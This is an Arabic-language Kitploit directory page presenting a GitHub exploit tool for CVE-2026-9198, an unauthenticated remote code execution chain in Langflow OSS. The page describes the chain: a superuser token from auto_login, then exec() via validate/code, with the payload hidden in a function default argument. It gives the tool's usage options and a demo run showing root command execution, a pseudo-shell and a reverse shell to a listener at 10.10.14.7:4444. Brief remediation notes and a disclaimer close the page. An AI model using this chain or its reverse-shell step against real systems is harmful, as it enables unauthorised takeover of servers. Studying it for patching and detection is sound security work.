Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-9198_exploit | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2026-9198_exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHub0xdak/cve-2026-9198_exploit

CVE-2026-9198_exploit

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9198 — تنفيذ كود عن بُعد دون مصادقة في Langflow OSS

تنفيذ كود عن بُعد دون مصادقة في IBM Langflow OSS (1.0.0 – 1.10.0) عند النشر الافتراضي. يجمع بين ثغرتين:

  • CVE-2026-9103 — يُصدر GET /api/v1/auto_login رمز JWT بصلاحيات SUPERUSER لأي متصل دون بيانات اعتماد، وذلك كلما كان AUTO_LOGIN مفعّلًا (وهو الافتراضي في Langflow < 1.5).
  • CVE-2026-8481 — يمرر POST /api/v1/validate/code كود Python المقدَّم من المستخدم إلى exec() دون بيئة معزولة (sandbox).

وبدمجهما معًا (CVE-2026-9198) يمكن لمهاجم دون مصادقة تنفيذ كود بصلاحيات مستخدم خدمة Langflow — والذي غالبًا ما يكون root.

ماذا يفعل

  1. يطلب رمز حامل (Bearer) بصلاحيات المستخدم الفائق من /api/v1/auto_login (بدون مصادقة).

  2. يرسل حمولة (payload) إلى /api/v1/validate/code. تنفّذ النقطة النهائية الكود عبر exec() من أجل "التحقق" منه؛ إذ تُقيّم Python قيم الوسائط الافتراضية في وقت التعريف، لذلك تُغلَّف الحمولة في وسيطة افتراضية للدالة:

    root@kitploit:~
    def _v(a=exec('<payload>')): pass
    

    لتنفيذ الأوامر، تُثير الحمولة استثناءً تكون رسالته هي مخرجات الأمر، وتعيد النقطة النهائية هذه الرسالة في الاستجابة (function.errors[]).

الاستخدام

root@kitploit:~
./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

عرض توضيحي

root@kitploit:~
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

المتطلبات

  • Python 3.6+ (المكتبة القياسية فقط — لا حاجة إلى pip install)

ملاحظات

  • يعمل فقط ما دام AUTO_LOGIN مفعّلًا (الوضع الافتراضي في Langflow < 1.5؛ أما في >= 1.5 فيتعيّن تفعيله صراحةً عبر LANGFLOW_AUTO_LOGIN=true). إذا لم يُرجِع auto_login أي رمز، فلن يكون الهدف قابلاً للاستغلال عبر هذا المسار — وقدّم رمزًا صالحًا باستخدام -k إن كان لديك واحد.
  • تُرجَع مخرجات الأمر في function.errors[] داخل الاستجابة؛ ويُدمَج stderr مع stdout بحيث تستمر الأوامر الفاشلة في إظهار خطأها.
  • يُنفَّذ الكود بصلاحيات مستخدم خدمة Langflow (service user). إذا كان هذا المستخدم هو root (وهو أمر شائع عند تشغيل langflow run مباشرةً تحت systemd أو مع Docker يعمل بصلاحيات الجذر)، فهذا يعني الحصول على صلاحيات جذر المضيف مباشرةً.

الإصلاح

  • قم بترقية Langflow إلى إصدار خارج النطاق المتأثر؛ يجب ألّا ينفّذ validate/code مدخلات غير موثوقة عبر exec()، ويجب ألّا يُصدر auto_login رموزًا بصلاحيات المستخدم الفائق.
  • اضبط LANGFLOW_AUTO_LOGIN=false وهيِّئ بيانات اعتماد حقيقية لمستخدم فائق.
  • لا تشغّل خدمة Langflow بصلاحيات root أبدًا.

إخلاء المسؤولية

نُشر هذا المشروع لأغراض اختبار الأمان المصرَّح به والتعليم فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة